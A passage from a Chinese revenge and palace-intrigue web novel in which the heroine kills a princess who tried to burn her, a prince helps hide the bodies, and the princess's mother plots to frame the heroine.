“他娘的,抢老子的东西你找死啊。” 在汉子惊愕的叫骂声中,她不顾滚烫的火焰燎手,咬牙将燃烧的裙角和上衣死死裹进厚实的羊毛里。 火焰在厚实的羊毛下疯狂扭动,发出“滋滋”的响声。 浓烈刺鼻的焦糊味和怪味瞬间弥漫开来。 停云几人的心都悬了起来。 大小姐,不会出事吧? * 福安郡主和裴明镜并肩而行,两人往另一条人少一些的街道走去。 这里的花灯普普通通,因而观赏的人便少了许多。 裴明镜沉默不语,他也不知道自己刚刚怎么的,竟然鬼使神差地想叫上晏逐星一块赏灯。 这样他们三人一同赏灯,至少比他单独和福安郡主赏灯的强。 见他迟迟不说话,福安郡主也不着急,她在心中默默盘算着待会怎么处理晏逐星的尸体。 等她赏完了花灯,晏逐星的皮肉肯定烧焦了,说不定都成炭了。 届时她将尸体带走。 她要沿着烧焦的皮肉缝隙,用刀慢慢割开,把骨头一块一块拆出来。 把肋骨磨尖,正好做几根剔狗牙的签子; 腿骨够粗,劈开之后能刻几个骰子玩; 掌骨做成个铃铛坠子,就挂在屋檐下,风吹起来叮当响,多有意思; 碎骨头渣子也不能扔,磨成粉撒在花盆里,花儿必定会养得更加艳丽; 唔,对了,头盖骨得整个取下来,磨光滑了送去给永安王的猫当食盆,这就叫物尽其用。 想到永安王那只挠了她的猫,福安郡主脸色一沉。 那只畜生,她迟早要扒了它的皮。 “花灯已赏完,裴某要归家了,郡主自便。”走到花灯巷道的尽头,裴明镜终于开口了。 福安郡主都要被他这话给气笑了。 合着将有灯的地方走完,就算赏完灯了? 但她不能把心里话说出来。 “天色已晚,裴大人能不能送我回家?我害怕。”福安郡主怯生生地看着他,一副我见犹怜的模样。 她很清楚自己这副姿态的杀伤力。 从小到大,只要她露出这副表情,那些京城的公子哥们都会乖乖地听她调遣。 没有人能拒绝她。 没想到裴明镜却指着她身后的四个护卫道:“郡主的护卫难不成是摆设么?” “郡主若是害怕的话,裴某明日便建议大长公主给您再多加几个护卫。” 福安郡主:…… 裴明镜好好的一个人,怎么就长了这么一张嘴呢。 就在她沉默的间隙,裴明镜的下属郑晗跌跌撞撞地冲了过来,脸色煞白,胸膛剧烈起伏,几乎说不出完整的话: “大、大人!临仙楼出大事了!” 裴明镜心头猛地一沉,眼神瞬间锐利如刀:“何事惊慌?!” 临仙楼周遭人潮汹涌,若生变故,后果不堪设想。 郑晗狠狠喘了口气,声音带着惊惶的嘶哑:“有人身上突然窜起邪火。百姓受惊四下疯逃,推挤踩踏,已伤了好些人,还踩死了几个。” 裴明镜眉头皱得紧紧的,顾不得跟福安郡主道别,立刻跟着郑晗大步流星地赶了过去。 上元佳节发生这样惨烈之事,东城兵马司的人都头痛不已。 除了要安置遇害的百姓,还要应付永安王这个难缠的主。 好在很快救星就来了。 看到裴明镜,东城兵马司指挥使立刻拱手道:“王爷,既然此事是有人恶意纵火,那就该交给京兆府来调查才是。我等去疏散百姓了。” 谢翊宁面沉如水,周身气压低得骇人。 他承诺过晏逐星,她今日想出来玩就出来玩,他定能护她周全。 谁曾想福安郡主竟然无法无天到这个程度,竟然当街纵火想把晏逐星给活活烧死。 若非晏逐星机警,当机立断扯了羊毛斗篷自救,现在恐怕已经被烧成焦炭了。 他的承诺成了空话。 汹涌的愧疚与自责弥漫上心头,谢翊宁攥紧了拳头。 “李柔嘉呢?” 听到这个名字,裴明镜愣了片刻才反应过来他说的是福安郡主。 他不知道永安王为何会忽然提起福安郡主,皱眉道:“下官得知临仙楼出事了,就先赶过来了,郡主应当回公主府了吧。” “回府了啊。” 谢翊宁拉长了音调,眼眸闪过一丝冷意。 虽然对晏逐星下手的两人身份撇得很干净,看似与大长公主府没有任何关联,但他心知肚明,此事一定跟他们脱不开干系。 对他的小恩人下了手,竟然就这样走了? “呵。” 谢翊宁轻笑一声。 他们不仁不义在先,那就别怪他以牙还牙了。 裴明镜沉声道:“王爷,敢问晏大小姐如何了?” 赶来的途中,从郑晗口中得知身上忽然起火的人是晏逐星,他便慌了神,下意识地加快了步伐。 问郑晗晏逐星伤势如何,他也说不清楚。 永安王更是一来就问他福安郡主的事,半句不提晏逐星,情急之下他只得开口询问了。 第143章 当夜杀郡主 “受了重伤,本王已经命季太医为她会诊。不劳裴大人费心。”谢翊宁看他的眼神多了一抹审视。 晏逐星先前告诉他,裴明镜正在和福安郡主议亲。 那么今日他遇上晏逐星,是无心偶遇还是刻意而为? 听到“受了重伤”,裴明镜心头一紧。 “行凶之人所在何处?”他声音中多了一丝冷肃。 “这两人都有嫌疑,还请裴大人好好审,撬出指使他们的幕后之人。”谢翊宁不客气地将已经那两人交给了他。 “王爷放心,下官不会放过任何一个恶人。”裴明镜面无表情地命人将那妇人和老婆子带走。 谢翊宁留了人在现场帮忙救治那些因为拥挤推搡而被踩伤的百姓,自己先一步离开了。 裴明镜拾起晏逐星留下的斗篷,指尖触到的尽是几乎不成形状的焦黑残片。 他心口猛地一坠。 斗篷都烧成了这样,当时的火得多烈。 她一定很痛。 永安王说她受了重伤,究竟得有多重? 他一定要将幕后真凶找出来,还她一个公道。 * 此刻“重伤”的晏逐星正蹲守在福安郡主回府的路上。 “小姐,您当真没事么?”九栀忧心忡忡地看着晏逐星。 “小伤,无妨。”晏逐星冷冷地盯着缓缓而来的马车。 她虽然及时将火灭掉了,但胳膊上还是被烫出了水泡,好在季太医处理及时,不会留下疤痕。 但胳膊上火辣辣的疼痛还是在随时随地提醒她,今夜她差点死了。 重生回来,她没死在定远侯府,反倒差点死在了大街上。 这个仇,她一定要报,而且今晚就得报。 否则等裴明镜那边查出来事情是福安郡主所为,之后福安郡主再出事,她很容易被当做怀疑对象。 而今日,所有人都看到了季太医去晏宅为她诊治,她已经睡下。 谁也不会想到她会出现在福安郡主回府的必经之路上。 多亏了福安郡主的自以为是,命人动手后没有马上回公主府,反而悠哉游哉地赏了花灯。 得知她死里逃生后,还去太白楼用了膳,而后又去了金水河上游船,玩到这个时间才回府。 不然她现在也蹲不到她。 “引开人,靠你了。”晏逐星拍了拍九栀的肩膀。 “小姐放心,我别的不擅长,逃跑还是很擅长的。”九栀莞尔一笑。 晏逐星勾起唇角,瞄准了福安郡主的马。 拉弓,搭弦,箭出。 箭镞瞬间没入大半,马儿的四蹄一软,轰然向前栽倒,连嘶鸣声都没来得及发出。 马夫一惊,滚落在地。 车里的福安郡主被这突如其来的变故撞得头上的珠钗全歪了。 “什么人?” “有刺客!” 福安郡主的声音和护卫的声音同时响起。 这时,晏逐星的第二箭也到了。 这一箭,射在了护卫的脖颈处。 一箭穿喉。 护卫直挺挺地倒下。 “在那!”护卫指向了晏逐星所在的方向。 这时,九栀动了。 “别让他跑了,快追!” 其中一个护卫当即追了上去,九栀不过虚晃一枪,跟他过了两招就撤。 护卫紧追不舍。 若今日捉不到刺客,大长公主定然不会放过他们。 马夫惊得腿软,连滚带爬地跑了。 剩下两个护卫赶忙搀扶着福安郡主从马车里出来。 但福安郡主先前被马车突如其来的颠簸撞到了脑袋,如今晕晕乎乎的,根本走不动。 护卫甲只得将她背了起来,护卫乙拔刀警惕地看着四周。 明枪易躲暗箭难防。 若先前那人还有同伙可就糟糕了。 晏逐星发现先前包扎的伤口已经渗出了血,疼痛让她清醒了几分。 今夜,福安郡主必须死。 看见护卫朝着她预想的方向跑,晏逐星松了一口气。 那是距离公主府最近的路,护卫为了快点护送福安郡主回府,一定会走那条小路。 背着福安郡主夺路狂奔的护卫,全部心神都放在身后不知道什么时候会冒出来的追兵上,压根没留意前方不远处一根近乎与灰暗地面融为一体的麻绳。 麻绳离地不过半尺高,横亘在小路中央。 护卫狂奔的脚踝猛地撞上,他根本来不及做出任何反应,整个人连同背上的福安郡主狠狠甩飞了出去。 “啊——” 福安郡主发出了惨叫。 她感觉自己脸擦到了地上火辣辣的疼。 先前堆好的竹竿被他们撞上哗啦啦地落了一地,将本就是惊弓之鸟的福安郡主和护卫都吓了一大跳。 他们想要爬起来,却发现脚下黏糊糊的,像是被什么油汪汪的东西沾上了。 晏逐星的第三箭射出。 这一次,是火箭。 火星子落在早已倒好的桐油上,那一点微弱的火星瞬间燃烧成了一片烈焰。 烈焰如同活物般从地面猛地窜起,巷道眨眼间变成了一个灼热的、无处可逃的熔炉。 “啊——” “救我,快救我——” 福安郡主发出了凄惨的叫声。 晏逐星冷眼旁观。 她不是想烧死她么,那就别怪她以其人之道还治其人之身了。 福安郡主出生那年,朝华大长公主嫌恶平民污秽府邸周遭的清净,强令府中下人将附近的百姓都逼去了别处安身。 如今福安郡主求救无门,怎么不算自作孽呢。 公主府内。 临水的戏台上,伶人们咿咿呀呀地唱着戏。 朝华大长公主素不喜外头街市的喧嚣杂乱,为图清净,特意重金请了这顶好的戏班入府献艺。 高墙深院,朱门紧闭,将府外的世界彻底隔绝。 戏班悠扬的曲调和宾客的谈笑碰杯声,严严实实地盖过了两墙之外福安郡主那撕心裂肺的尖叫与绝望的呼救。 直到浓烟的味道穿透院墙,紧接着,是越来越清晰噼啪作响的爆裂声,以及隐约传来的惊恐的人声。 “殿下!殿下!” 一名管事脚步踉跄地冲入看戏的水榭,脸色煞白。 “府外起大火了!就在西侧巷子那边,火头窜得老高,烟都漫过来了!” 朝华大长公主闻言眉头紧锁,眼中闪过一丝不悦。 她不耐烦地将手中的糕点丢回盘中,冷声道: “慌什么,那群贱民不是已经搬走了么,不必费神去管。空置的瓦舍烧了就烧了。大过节的闹腾出这等晦气事来,真是烦人透顶!” 第144章 就要动心了 见大长公主不悦,管事不敢多言,急忙退下。 晏逐星守在原地,眼睁睁看着福安郡主被烧得惨叫声越来越小。 公主府灯火通明,却没有一个人出来查探。 晏逐星面无表情道:“李柔嘉,今夜你命该绝,可怨不得我。要怪就怪你公主府上上下下冷心冷肺,见死不救。” 但凡公主府今夜瞧见火光有人出来查探,也不至于让福安郡主被活活烧死。 晏逐星沿着屋顶纵身一跃,捡起地上的箭,准备将那个一箭穿喉的护卫拖过去一块烧了。 没想到身后忽然有人捂住了她的嘴。 “别叫,是我。” 晏逐星反手准备射出袖箭,就听到了熟悉的声音。 她扭头一看,真是谢翊宁。 “王爷?您怎么来了。” 晏逐星心下一紧。 谢翊宁什么时候来的,他看到她杀人的全过程了吗? 他会不会将她送给大长公主? “你的手,痛不痛?”谢翊宁一句话就让她放下了戒备。 “还好。”晏逐星摇了摇头。 上辈子比这更重的伤她都受过,因而这点伤对她来说虽然痛,但不至于忍受不了。 起码她还活着。 还可以见到明天的太阳。 “你有计划为何不告知本王?”谢翊宁盯着她渗出血的胳膊,有些不高兴。 她这是一点也不把自己的命放心上。 他谢翊宁的救命恩人哪里需要这么拼命。 还是说,她信不过他? 这个猜测让谢翊宁心里有些发堵。 他将自己命格更改的事情都告诉她了,她还信不过他么? 况且,她自己把什么都做了,他还报什么恩,显得他好像很没用似的。 谢翊宁越想越郁闷。 “我……”晏逐星盯着他的眼眸,头皮有些发麻,仿佛回到了初入军营被霍将军训的时候。 她声音不自觉地就低了下去。 “这样肮脏的事情,王爷不该牵扯其中。” “胡说八道。”谢翊宁伸手弹了她脑门一下。 “这怎么会是肮脏的事情,这明明是替天行道,为民除害。” 谢翊宁说得一本正经,眼里带着几分厌恶:“李柔嘉这样的畜生,活着也是浪费粮食。” 晏逐星赞同地点了点头。 随后她瞧见谢翊宁吩咐暗卫将马的尸体拖走,连同马车和护卫的尸体一块扔进了火里。 谢翊宁当面教学:“这才叫毁尸灭迹。” 晏逐星乖乖点头,受教了。 她人手不够,原本只打算把护卫拖过去烧掉,现在有谢翊宁的帮忙,把马儿和马车也烧了。 正正好。 “尸首数量对不上。还差了一个护卫,和一个车夫。”谢翊宁提醒。 “另一个护卫被九栀引走了,应该解决了。车夫也交给九栀了,她会斩草除根。”晏逐星沉声回答。 说完她垂下了眼眸,不敢看谢翊宁。 她怕他会对她失望。 按理来说,车夫不该被卷入其中。 可若是放过了他,他将今夜见到的事情说出去,很可能会害死她和九栀。 她只能把他也杀了。 “别怕,你做得很好。”谢翊宁猜到了她在想什么,语气温柔了几分。 “你若不杀车夫,他也活不了多久。朝华姑母也不会放过他。” “要怪就怪李柔嘉。她若不干出这种丧心病狂的事情,今夜又怎会惹来报复,牵累无辜之人。” “她命人纵火伤你之时,可没有考虑过那些百姓是否会死。” 晏逐星抬起头,眼睛变得格外的亮。 “王爷,您真是全天下最好最好的人了。您一定要长命百岁啊。” 她由衷地赞美。 “说好话也没用,赶紧随本王回王府,我让府中的府医替你包扎伤口。”谢翊宁板着脸训斥,但嘴角却只绷紧了一瞬就忍不住上扬。 她说他是全天下最好的人诶~ 晏逐星本想拒绝说不用了,她回去自己包扎一下就好了。 但看到谢翊宁严肃的背影,这话又被她咽回了肚子里。 她有预感,她要是拒绝,王爷会很生气。 于是她老实地跟着他走了。 路上,晏逐星小心翼翼道:“对了王爷,能不能让人回一趟晏宅,我想确认一下九栀安全到家了么。” 谢翊宁招了招手,暗卫凑了过来。 他低声吩咐了几句,很快就回来了。 “放心吧,九栀已经到家了。” “您怎么知道?”晏逐星有些好奇。 “本王先去了你家,衔蝉说你和九栀出门了。我一猜你就在公主府附近。先前没看到你们,便让暗卫先行按照九栀留下的踪迹去找人了,顺便抹除她留下的痕迹。” “刚刚跟着她的暗卫回来了,说她已经从晏宅后门回去了。” 谢翊宁的话让晏逐星长长地舒了一口气,她正准备开口继续恳求他,就听到他抢先一步说出了她想听的话。 “放心吧,你去王府的事情我也让人去告知衔蝉了,他们会如常守夜,假装你还在屋子里的。” 这下晏逐星真不知道该说什么好了。 世界上怎么会有这么懂她的人。 “王爷考虑得真周到。”她小声嘀咕。 这么周到,这么体贴,若他不是永安王,她真的要动心了。 只可惜,他们身份悬殊。 这辈子都不会有以后。 她能当他的救命恩人,已经是十辈子修来的福分,不要太贪心,妄想独占他一人。 人啊,还是要知足。 “那是,本王出手,自然不会有任何错漏。”谢翊宁下巴微微抬起,眼眸里满是骄傲。 * 裴明镜还在审人。 只可惜,那两人虽是老弱妇孺,但嘴却硬得很,一句话都没有透露。 即便裴明镜动了刑,她们也只会大喊冤枉。 “大人,这两人不会真是冤枉的吧?”郑晗听着两人的惨叫,心脏扑通扑通狂跳。 “不可能。”裴明镜面无表情。 “那女人手上还残留着粉末,先前让人弄出来实验了,混合着油会自燃冒出鬼火。她绝不可能无辜。” “这样的东西,绝非她一个普通人能弄到的。继续查。” “是。”郑晗急忙应下。 不一会儿,另一个下属梁康毅又匆匆忙忙地跑了过来。 “大人,朝华大长公主有请。” 第145章 公主会发疯 “殿下寻我何事?”裴明镜睁开了紧闭的双眸。 “属下不知,但看着大长公主脸色很不好。”梁康毅摇了摇头。 裴明镜只得随他去见了朝华大长公主。 将人屏退,朝华大长公主沉着脸道:“不是说福安和你一块赏灯去了么,你怎么在这?” “回殿下,戌时初我与郡主赏灯结束后便分开了。福安郡主没回公主府么?”裴明镜眉头微皱。 现在都已经快接近子时了,福安郡主不该还在外边晃荡呀。 朝华大长公主的收敛了眉眼中的焦躁,淡淡道:“自然是回了。只是本宫想问问,你为何在此忙碌不送福安回公主府。” 福安与裴明镜正在议亲,若此刻她失踪之事传开,日后窦淑容那个老婆子怕是会借此拿捏福安。 此事绝对不能外传。 “人命关天,百姓踩踏伤亡数十起,微臣身为京中父母官,自然得处理这些案子。”裴明镜不卑不亢地回答。 “案子要查,但未来若是成了福安的郡马,你可得对她多上点心。”朝华大长公主敲打完他便径直离开了。 裴明镜没有应下这话,一言不发,目送她离开。 等她走后,他当即叫来了自己的心腹。 “子平,你去查查,福安郡主可是出了什么事?” 他总觉得,朝华大长公主来这一趟并不简单。 “是。”子平应下,速速离去。 约莫过了半个时辰,子平就回来了。 “世子,福安郡主好像失踪了。” “失踪了?怎么会?她身边的丫鬟、护卫和车夫呢?”裴明镜眉头紧锁。 “似乎也不见了。”子平摇了摇头。 “我只瞧见大长公主府的侍卫一直在打听福安郡主的下落。” “属下跟着打听了一番,发现福安郡主与您分开后,还去了青龙街赏花灯,后来又去了一趟太白楼,她的丫鬟那会似乎被她斥责了,在太白楼罚跪。紧接着她又去金水河游了船。” “上岸后,车夫与护卫护送她离开,而后就没了她的消息。” 裴明镜抿唇不语。 他总觉得福安郡主的失踪和今夜临仙楼门前这场混乱有关,但具体哪里有关,他也说不上来。 “无妨,先查那两人。那妇人手上的粉末已经有了头绪,应当是夜飞砂。此物绝非普通人能接触到的。” 夜飞砂乃是西戎国之物。 此物若撒于地,骤腾赤焰,夜中可照二十步。 但其烟含毒,嗅之令人头目晕眩,若溅脂膏,触之立燃,焰色青荧如鬼。 正符合今夜晏逐星斗篷忽然着火的迹象。 裴明镜决定先不关注福安郡主的事,还是查出谋害晏逐星的真凶更重要。 查不出来,他无颜去见她。 “是。” 一行人继续忙碌。 朝华大长公主等了一个时辰,依旧没等回来女儿,心急如焚。 “废物,一群废物,福安那么大一个人,公主府那么大一辆马车,还能丢了不成?” 骂完之后,瑟瑟发抖的汀兰被侍卫拎到了她面前。 “福安去了何处?你为何没跟着?”朝华大长公主咬牙切齿地看着她。 “奴婢不知啊。”汀兰连连磕头,脑袋都磕出了血印,但朝华大长公主依旧没有让她停下。 “奴婢不小心将茶水撒了惹得郡主不悦。郡主罚奴婢在太白楼的包间里跪着,直到她回来接奴婢为止。” 汀兰一边磕头,一边哭着把事情的来龙去脉说了一遍。 “胡说八道,福安怎是这样不知轻重的人。你可是她身边的大丫鬟,让你在外边罚跪,那是自打脸面。”朝华大长公主厉声呵斥。 “殿下,奴婢不敢撒谎啊。奴婢说的句句属实。”汀兰哭得嗓子都哑了。 若是平时,福安郡主或许不会当场就罚她。 但那会儿郡主刚刚知道派去截杀晏家小姐的人被扣了,晏家小姐死里逃生,正憋着一肚子的火呢。 她偏偏不争气,那会儿听到晏家小姐差点被烧死手一抖,洒了水这才触怒了郡主。 “郡主是听到了晏家小姐的消息,才会那么生气的……” 她哭着把福安郡主对付晏逐星的计划说了出来。 朝华大长公主没想到女儿这么沉不住气,竟然这么快就动手了。 “府中所有人,都给本宫去找福安。若是找不到她人,你们提头来见。”她冷冷下了命令。 公主府中的人全都动了起来。 他们沿着金水河到公主府的路线一寸寸排查。 最终在公主府西侧的巷道里,撞见了几具焦黑扭曲的尸骸和一具四蹄僵直地伸向天空的马形焦炭。 还有一辆被烧得只剩扭曲的乌黑骨架的马车。 浓烈的焦糊味混合着皮肉烧灼的恶臭扑面而来,在场的所有人瞬间如坠冰窟,一股寒意从脚底板直冲天灵盖。 他们的脑海里不约而同地升起了一个念头: 这恐怕就是失踪了的福安郡主的车驾。 他们硬着头皮回府跟朝华大长公主汇报了此事。 “不可能!绝不可能!福安怎么可能会出事!” 朝华大长公主死死抓住了椅子的扶手。 “谁敢对福安动手???” 下人们噤如寒蝉,一句话都不敢说,甚至连大气都不敢喘。 若福安郡主真的出事,恐怕朝华大长公主会发疯。 那可是她最疼爱的女儿。 “来人,扶本宫亲自前去,那绝不可能是福安!” 她咬紧了牙关,强撑着精神去了那条巷道。 看到那几具尸体,她几欲昏厥。 蜷缩在正中央的小小尸体上,一点刺目的猩红吸引了她的注意。 那抹猩红如同凝固的血珠摇摇欲坠地悬在焦黑的耳廓边缘。 朝华大长公主如遭雷击。 那正是今夜福安出门赏灯前,她亲自替她挑选的红玛瑙耳坠。 一瞬间,她想起了先前管事前来禀告公主府西侧着火一事。 难不成,那时候听到的正是福安被烈火焚烧发出的惨叫? 朝华大长公主当场就晕了过去。 第146章 找出真凶啊 朝华大长公主醒来时,已经是翌日清晨。 她睁开眼就看到了两眼通红的驸马。 “福安呢,可找到她了?让她来给本宫请安。”朝华大长公主死死捏住了驸马的手。 驸马哽咽着开口:“朝华,福安她没了……” “住嘴!”朝华大长公主猛地抽回了自己的手。 “福安不过出门赏灯去了,怎就没了。” 朝华大长公主脑子里下意识地就浮起了昨夜的场景,她猛地摇头:“那尸体不对,只有四具。福安可是有四个护卫!” “定然是那几个护卫死了,福安逃出生天了。速速命人去寻福安。她肯定吓坏了。” 驸马紧紧握住了她的手,眼泪无声落下。 他哽咽着开口:“朝华,已经确认了,那就是福安。另一个护卫和马夫的尸体,也已经找到了。” 朝华大长公主听到这话,如同遭到了当头一棒。 驸马的话彻底撕碎了她的侥幸。 不可能,怎么可能,她的福安昨日还欢欢喜喜地找她要新衣裳,怎么会就这样没了呢。 “朝华,振作一点,一定是有人故意害的福安。你要替她报仇啊!” 驸马的一句话让朝华大长公主重新振作了起来。 没错,她要做的不是悲伤而是查出真凶,还福安一个公道。 朝华大长公主双目赤红,额上青筋暴跳,一字一顿地道:“若让本宫查出是谁害的福安,定然要将她碎尸万段,已消本宫心头之恨。” * 裴明镜还在查昨夜的案子,就看到郑晗脸色煞白地跑了进来。 “大人,又出事了。” “何事?”裴明镜一夜未眠,眼底已经带了红血丝,此刻看起来有些疲惫。 “福安郡主死了。”郑晗额头上冒出了冷汗,“她的护卫和马夫也都死了。” 这个上元节可真邪门啊。 先是百姓踩踏死伤几十人,而后又是福安郡主和护卫马夫身亡。 这一桩桩一件件的,莫不是老天爷在示警? 郑晗决定回头不管什么节,都拘着家里人不让他们出门了。 “都死了?”裴明镜一脸凝重。 此事不对劲。 “怎么死的?”他追问。 “听说是被活活烧死的,可惨了。”郑晗压低声音回道,“据说昨日公主府管事发现着火了,但想着旁边没百姓住,便没管。结果竟然是福安郡主出事了。” 又是火烧。 裴明镜敏锐地抓住了这个重点。 他的直觉告诉他,昨夜晏逐星被火烧和福安郡主被烧死之事一定有什么关联。 只是究竟有什么关联,他一时间还想不明白。 沉默片刻后,他开口道:“重点查查夜飞砂与公主府。” “大人,难道……”郑晗话说到一半自己捂住了嘴。 他不可置信地看着裴明镜。 难不成裴大人怀疑昨夜之事乃是公主府之人所为? “让你查你就查,没有证据之事,不要多言。”裴明镜冷静地开口。 没过多久,窦淑容找到了京兆府来。 看到完好无损的裴明镜,她顿时长长地舒了一口气,双手合十口中念念有词:“谢天谢地,我儿平平安安。” “母亲来此作甚?”裴明镜审案正疲惫,不想花精力去应付她。 窦淑容悄声道:“我听闻福安郡主出事了,朝华大长公主如今闹到宫中,让太后主持公道呢。” 她东张西望,见没有人进来,小心翼翼地询问。 “昨夜听闻你与她一块赏了花灯,此事不会与你有关吧?” 裴明镜沉下了脸。 “我与福安郡主偶遇后一同赏了灯,没过多久临仙楼出了事我就去查案了,根本不知道福安郡主什么时候出的事。” 窦淑容拍了拍胸口,放心多了。 “与你无关就好。” 见裴明镜脸色不好看,她讪讪道:“母亲这不是怕朝华大长公主迁怒你么。” “我问心无愧,此事又与我无关,殿下没有理由迁怒我。母亲快回府吧。”裴明镜下了逐客令。 窦淑容满脸愁容地离开了。 好不容易挑了一个儿媳妇,结果还没正式交换八字和庚帖,人就没了。 这下可如何是好。 不过她又暗暗庆幸,还没有到那一步,否则恐怕会传出自家儿子克妻的谣言。 只是,接下来京城里哪还有与他们门当户对,又乖顺听话的贵女可以和儿子议亲呢。 窦淑容忧心忡忡。 没了福安郡主,儿子不会真要娶晏逐星吧。 想到这,窦淑容立刻急了,赶紧继续去翻自己搜罗的京城贵女名册,发誓一定要在上巳节前挑到一个满意的儿媳。 * 长乐宫里。 太后脸色也很不好看。 她没想到她当作心肝宝贝宠爱长大的外孙女,一夜之间竟然没了,而且死状还那样惨烈。 想到这,她的心就一阵抽痛。 她与朝华大长公主母女俩相顾无言,都默默垂泪。 文昭帝得知福安郡主身故,也很惊讶。 好端端的,怎么就死了。 因而太后命人请他去长乐宫时,他还是来了。 “皇上,你一定要给福安讨回公道啊。什么人竟然敢当街纵火行凶,杀死一个郡主?这是在公然挑衅皇家的威严,若是抓到定要严惩。” 不等朝华大长公主开口,太后就先咬牙切齿地催促文昭帝速速命人彻查此事。 “母后放心,朕已经命大理寺与刑部联手彻查此案。”文昭帝宽慰道。 朝华大长公主的额头重重叩在冰冷的金砖上,她哽咽着开口:“皇上,福安是我的命啊!她还那么年轻,竟遭此毒手……想到这,我真的不想活了……” 紧接着,她抬起头,哀哀地看着文昭帝:“皇上,福安叫了你十几年的舅舅,你一定要将真凶找出来啊。” “皇姐放心,此事朕一定严查。”文昭帝命人将她搀扶了起来。 听完朝华大长公主将整件事的来龙去脉说清楚后,他忍不住询问道:“福安近来可有得罪什么人?” 若不是得罪了人,怎么会有人用这样残忍的法子将她给杀害。 他这话一出,太后和朝华大长公主下意识地就看向了他。 文昭帝一愣,而后脸色瞬间就沉了下去。 合着她们觉得此事是他儿子干的? 第147章 有事瞒着她 “你们觉得此事是永安所为?”文昭帝面沉似水。 太后和朝华大长公主急忙否认:“怎么会呢。” 她们又不是疯了。 若觉得此事是谢翊宁干的,偷偷摸摸让暗卫杀了他不就好了。 还光明正大地告到皇帝面前,那能讨得了什么好。 “福安之前是和永安有一些小小的误会,但两人总归是表兄妹,永安怎么会下这样的毒手。”朝华大长公主赶忙否认。 “你这意思,若他们不是表兄妹,永安就会下毒手了?”文昭帝斜睨了她一眼。 虽然福安的死让他也有些伤怀,但怀疑他的宝贝儿子,他可就不高兴。 朝华大长公主:“……” 果然事情不能牵扯到谢翊宁。 一涉及谢翊宁,皇帝就跟脑子被野兽吃了一样,无理由护着他。 她深吸一口气否认道:“本宫绝无此意。” “嗯,永安的性子你们也是知道的,有仇他当场就报了。”文昭帝这才点了点头,提醒二人,“若他知道你们把福安的死怀疑到他头上,届时来找朕大吵大闹,朕可招架不住,只能让他来找你们了。” 朝华大长公主:“……” 太后:“……” 她们也想起了那日谢翊宁的猫被伤之后他的反应。 他直接就捅了福安胳膊一刀。 想到这,朝华大长公主就气得咬牙切齿。 虽然气,但她也知道皇帝说得对。 谢翊宁的性子报仇根本不会隔夜,他不会间隔那么多天才去报复福安。 而且他的猫还活着,他就更不会赶尽杀绝了。 文昭帝而后又问了些关于福安郡主的事情,但朝华大长公主隐瞒了她买凶杀人之事,便没有什么特别之事可言了。 见问不出什么东西来,文昭帝拂袖起身:“既然想不出福安与什么人结了仇,那便让大理寺和刑部慢慢查吧。” “慢慢查?!”朝华大长公主听到这话,再也控制不住自己的情绪,扑上前扯住了皇帝的衣袖,“福安尸骨未寒,冤魂难散,你一句‘慢慢查’就要让她在九泉之下苦等到猴年马月吗?她死不瞑目啊!” 太后端坐凤座之上,面色沉凝如冰,她看着悲痛欲绝的女儿,厉声看向文昭帝: “大理寺和刑部养着那么些人,难道是摆设不成?三日!哀家只给他们三日!哀家倒要看看,他们要让戕害皇嗣的真凶逍遥多久。” 文昭帝知晓她们心中悲痛,因而没有反驳:“母后,皇姐,节哀。朕一定会将真凶抓住,告慰福安在天之灵。” 说完他便离开了长乐宫。 文昭帝走后,朝华大长公主抹掉眼泪,愤愤起身。 “你们都退下吧,哀家有话要和朝华说。”太后屏退了众人。 朝华大长公主有些疑惑,母后要和她说什么。 “朝华,你实话同哀家说,福安是不是私底下做了什么?”太后一脸严肃。 先前听女儿和皇上闲谈,她发现了女儿的小动作。 女儿一撒谎的时候,就会不自觉地摩挲大拇指。 因而她认定,女儿肯定有什么事情瞒着自己。 朝华大长公主没想到母后虽然上了年纪,但依旧耳聪目明,竟然一下就发现了她有所隐瞒。 见她不语,太后便知道自己猜对了。 她板着脸道:“你必须跟哀家说实话,否则以后别来见哀家了。” “母后,我说还不行么。”朝华大长公主赶忙将晏逐星的事情说了出来。 提起这事,她有些恼怒。 晏逐星一个商贾之女,女儿竟然自降身份去对付她,派出去的人还被裴明镜给扣留了。 好在联络那两人的下人已经灭口,此事断然不会查到福安头上了。 唯一值得庆幸的是,晏逐星也烧伤了,据说还烧得挺严重。 这样即便福安嫁不了裴明镜,晏逐星也休想嫁过去了。 “晏逐星?”太后觉得这个名字有些耳熟。 “是定远侯那个养女,还是烈国公的义女,上回冰嬉宴皇后还给了她恩典。”朝华大长公主赶忙将晏逐星的来历说了一遍。 “不,这些哀家都知晓。”太后摇了摇头,她想说的并不是这个。 “那母后想说的是……?”朝华大长公主有些疑惑。 “哀家想起来了,上回谢翊宁那个混账大闹长乐宫,那个姓晏的商贾之女好像也在!”太后终于把这事给记起来了。 “那只猫是谢翊宁给她照看的。后来走丢了,才让福安给捡着了。” “既是如此,当时就该治那丫头的罪,怎么能怪到福安头上。”朝华大长公主顿时懊恼不已。 “你还是没明白哀家的意思。”太后浑浊的眼睛里猛地迸出一抹精光。 “福安不过是小小伤了谢翊宁的猫,就被他捅了一道刀。而弄丢他猫的那个商贾之女,他竟然没有任何惩戒?” 朝华大长公主被她这么一提醒,也察觉到了事情的古怪之处。 片刻后,她不可思议地看向了太后:“难不成,谢翊宁心仪她?” 太后没有点头也没有摇头,她只是紧紧抓住了朝华大长公主的手。 “谢翊宁与她关系密切,福安既然想烧死她,那谢翊宁会不会为了她烧死福安?” 朝华大长公主感觉自己的脑袋中的迷雾瞬间被一阵风给吹散了。 她一开始压根没把晏逐星当做杀害女儿的嫌疑人。 她的潜意识里就认为一个商贾之女掀不起什么风浪,因而根本没往她身上想。 如今太后这么一说,她忽然觉得很有可能。 谢翊宁为搏美人一笑,便烧死了女儿。 想到这,她怒火中烧,恨不得现在就去晏家把晏逐星给抓起来,也让她尝一遍女儿临终前所受的苦。 太后瞧见她眼中的癫狂之色,赶忙按住了她的肩膀:“如今没有任何证据,切莫轻举妄动。” “没有证据,那我便给她造一个证据出来!”朝华大长公主几乎是把这句话嚼碎了吐出来。 就算不是晏逐星又如何。 福安想让她死,她就不该活在这世上。 第148章 给王爷当妾 定远侯昨夜得偿所愿,痛痛快快地睡了一觉。 今日清晨一大早便将管家叫来,让他去忠毅伯府邸送礼,提醒忠毅伯别忘了让他母亲帮他去国公府说媒。 忠毅伯接到定远侯送来的礼,只觉得烫手得很。 但昨夜已经当着那么多人的面应承了定远侯,他只得硬着头皮同母亲说了这事。 